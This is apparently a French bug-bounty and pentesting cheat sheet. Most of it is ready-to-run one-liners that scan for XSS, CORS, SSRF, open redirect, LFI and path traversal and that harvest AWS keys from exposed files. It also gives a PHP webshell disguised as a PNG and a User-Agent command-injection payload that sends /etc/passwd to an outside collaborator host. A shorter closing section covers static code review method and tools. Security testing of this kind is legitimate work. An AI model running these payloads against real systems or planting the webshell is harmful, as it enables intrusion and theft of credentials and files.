#API Angular
curl -s URL | grep -Po "(\/)((?:[a-zA-Z\-_\:\.0-9\{\}]+))(\/)*((?:[a-zA-Z\-_\:\.0-9\{\}]+))(\/)((?:[a-zA-Z\-_\/\:\.0-9\{\}]+))" | sort -u
```

### Filtrage de endpoints

```bash
cat endpoints.txt | grep -i "admin\|login\|staging\|dashboard\|Admin\|\.asp\|\.php\|\.json\|cgi\|\.xml\|\.sql\|\.db\|\.rb\|\.py\|\.sh\|\.yml\|\.yaml\|\.ini\|\.md\|\.\js\|\.cfg\|env\|.\xls\|\.pdf\|\.docx" | anew interesting_path.txt
```

Utiliser les mots clés voulu dans la fonction grep.

### Screenshots d'un range d'IP

```bash
IP="192.168.0"; for p in '80' '443'; do for i in $(seq 0 5); do TAKE_SS=$(cutycapt --url=$IP.$i:$p --out=$IP.$i:$p.png); done; done
```

### Générateur de wordlist adapté à la cible

```bash
echo "target.com" | subfinder -silent | httpx | hakrawler | sed $'s/[./?=:&#]/\\\n/g' | anew wordlist.txt
```

### XSS scanner

```bash
echo "target.com" | waybackurls | grep "=" | egrep -iv ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|icon|pdf|svg|txt|js)" | uro | qsreplace '"><img src=x onerror=alert(1);>' | freq

gau target.com | uro | grep '?' | sed -e 's/:80//g' -e 's/:443//g' -e 's/http:/https:/g' -e 's/=/=Sirat%22%3E%3CH1%3Exss123/g' | httpx -silent -ms '<h1>xss123'

echo "target.com" | waybackurls | gf xss | uro | httpx -silent | qsreplace '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)"

cat targets.txt | waybackurls | anew | grep "=" | gf xss | nilo | gxss -p test | dalfox pipe --skip-bav --only-poc r --silent --skip-mining-dom --ignore-return 302,404,403

waybackurls target.com | grep "=" | uro | qsreplace '"><img src=x onerror=alert(1);>' | freq | egrep -v 'Not'
```

### CORS scanner

```bash
assetfinder target.com | httpx -threads 300 -follow-redirects -silent | rush -j200 'curl -m5 -s -I -H "Origin: evil.com" {} | [[ $(grep -c "evil.com") -gt 0 ]] && printf "\n3[0;32m[VUL TO CORS] 3[0m{}"' 2>/dev/null
```

### SSRF scanner

```bash
#pip3 install queryswap

echo "domain" | hakrawler -d 5 | grep "=" |python3 -m qs http%3a%2f%2fmy.burp.net
```

### Open redirect

```bash
export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I% -P 25 sh -c 'curl -ls "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'

echo "https://target.com" | gau | grep =http | php -r "echo urldecode(file_get_contents('php://stdin'));"
```

### LFI

```bash
gau target.com | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
```

### Nginx Path Traversal

```bash
cat urls.txt | httpx -nc -t 250 -p 80,443,8080,8443,4443,8888,8081 -path "///////../../../etc/passwd" -mr "root:x" -silent | anew output.txt
```

```bash
httpx -l urls.txt -path "///////../../../../../etc/passwd -sc -mc 200 'root:'
```

### Enregistrements CNAME

```bash
cat live-domains.txt | while read domains;do dig $domains;done | grep CNAME | tee -a CNAME_Records     
```

### NXDOMAIN

```
subfinder -d target.com -silent | dnsx -a -resp | grep -i "NXDOMAIN"
```

### Trouver des clés d'accès d'utilisateurs IAM (AWS)

```bash
echo target.com | subfinder -silent | httpx -silent -path ".env","mysql_history","echo $(echo $(</dev/stdin) | cut -d "." -f2).sql" -mc200 -ports 80,443,8080,8443 | grep -E -i "AKIA[A-Z0-9]{16}"
```

## RCE dans fichier png

```bash
echo -n '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]);?>.' > shell.png

echo -n '\x89\x50\x4E\x47<?php system($_GET["cmd"]);?>.' > shell.png
```


# Misconfigurations

### Cache control misconfiguration

* Se connecter
* naviguer normalement dans la page
* Se déconnecter
* Faire un alt+flèche gauche pour revenir en arrière
* Si connecté au même endroit il y a une misconfig

### Tentative de désinscription d'utilisateur

Tenter de désinscrire quelqu'un avec le code de désinscription en le passant dans la wayback machine.

## Injection de commande via logger non sécurisé

Si un logger no sécurisé est utilisé, il est possible d'injecter et de faire exécuter du code au serveur cible même sur une page 404 via l'en-tête "User-Agent:" par exemple qui loggera et exécutera la commande voulu.

{% hint style="info" %}
Il s'agit un peut du même principe que lorsqu'on essai d'obtenir une RCE via une LFI et qu'on cherche à exécuter son script via les logs.
{% endhint %}

Exemple:

```
#Requête

GET /thispagedoesnotexist HTTP 1.1
Host: ...
User-Ageny: Mozilla/... Firefox/..."; curl -X POST -d @/etc/passwd http://my.burp.collab.com/ #
...
...

Reponse:

HTTP/1.1 404 Not Found
...
...

Reponse dans burp collab:

POST / HTTP/1.1
...
...

root:x:... [/etc/passwd]
```


# Analyse statique

Revue de code

## Méthodologie

1. Récupérer des fichiers via le filtre d'extension burp suite, via les outils de développement du navigateur ou via la waybackmachine et autres outils.
2. Utiliser un beautifer de code pour le rendre lisible si il est obfusqué.
3. Rechercher des liens relatifs pour augmenter votre surface d'attaque
4. Rechercher des secrets (api, password, token etc)
5. Rechercher des mauvaises pratiques et fonctions sensibles dans le code (innerHTML, dangerouslytSetInnerHTML, bypassSecurityTrust, eval, window\.postMessage, window\.localStorage, window\.sessionStorage...)
6. Vérifier les versions utilisées à la recherches de CVE connues.
7. Rechercher des mécanismes de chiffrement faibles.
8. Rechercher des commentaires de développeurs interessants
9. Rechercher des endpoint de debug (peu mener à des élévations de privilèges)
10. Rechercher des fichiers de backup et de config (.conf, .env, .cnf, .cfg, .cf, .ini, .sys, .plist...)

### Autres méthodologies (Demande plus d'expertise)

#### Focus sur les fonctions importantes

Cette méthodologie vise à vérifier en priorités les fonctions sensibles types fonctions d'authentification, fonctions de reset de mot de passe, fonctions de changement d'état etc.

#### Focus sur les entrées utilisateurs

Une autre approche consiste à lire attentivement le code qui traite les entrées de l'utilisateur. Les paramètres de requête HTTP, les en-têtes HTTP, HTTP les chemins de requête, les entrées de base de données, les lectures de fichiers et les téléchargements de fichiers fournissent les points d'entrés principaux aux attaquants pour exploiter les vulnérabilités de l'application.

## Outils

### OWASP Benchmark

{% embed url="<https://owasp.org/www-community/Source_Code_Analysis_Tools>" %}

### Semgrep

Semgrep est un analyseur de code source qui se base sur des règles "grep" pour détecter des patterns potentiellement vulnérables. A l'image de nuclei, c'est un outil pour lequel la communauté peut créer et partager ses propres régles etc.

Ressources:

* <https://github.com/semgrep/semgrep>
* <https://www.sstic.org/2023/presentation/analyse_statique_de_code_avec_semgrep/>

### Relative Url Extractor

relative-url-extractor est un script ruby permettant d'extraire les chemins relatifs d'un fichier.

exemple d'utilisation:

*`$ cat file.js | ./extractor.rb`*

ressource: <https://github.com/jobertabma/relative-url-extractor>

### DumpsterDiver

DumpsterDiver est un outil d'analyse statique dans divers fichiers

exemple d'utilisation:

*`$ python3 DumpsterDiver.py -p /path/to/file.js`*

ressource: <https://github.com/securing/DumpsterDiver>

{% hint style="warning" %}
Si vous avez une erreur avec la lib multiprocessing, ajoutez un time.sleep(1) après le "while" dans le script core.py:

p = multiprocessing.Pool(multiprocessing.cpu\_count())

while queue.qsize():

&#x20;             <mark style="color:orange;">time.sleep(1)</mark>&#x20;

&#x20;             p.apply\_async(worker, (queue,result,settings))

&#x20;queue.join(
{% endhint %}

Vous pouvez aussi utiliser grep, awk ou sed pour faire ces recherches manuellement.

### Jsprime

Jsprime est un outil d'analyse statique permettant de scanner un code javascript à la recherches de mauvaises pratiques de développement.

Utilisation:

1. Ouvrir "index.html"
2. coller le code javascript
3. cliquer sur scanner
4. voir les resultats dans "report.html"

ressource: <https://github.com/dpnishant/jsprime>

### Sourcemapper

Extracteur des arborescences source JavaScript des fichiers Sourcemap.

Exemple d'utilisation:

```
$ ./sourcemapper -output dhubsrc -url https://hub.docker.com/public/js/client.356c14916fb23f85707f.js.map
```

ressource: <https://github.com/denandz/sourcemapper>

### Graudit

Graudit est un outil permettant de faire des grep en masse en utilisant des bases de données de signatures.

Exemple d'utilisation:

*`$ graudit /path/to/project`*

ressource: [https://github.com/wireghoul/graudit](https://github.com/wireghoul/graudit/)




---

[Next Page](/llms-full.txt/1)

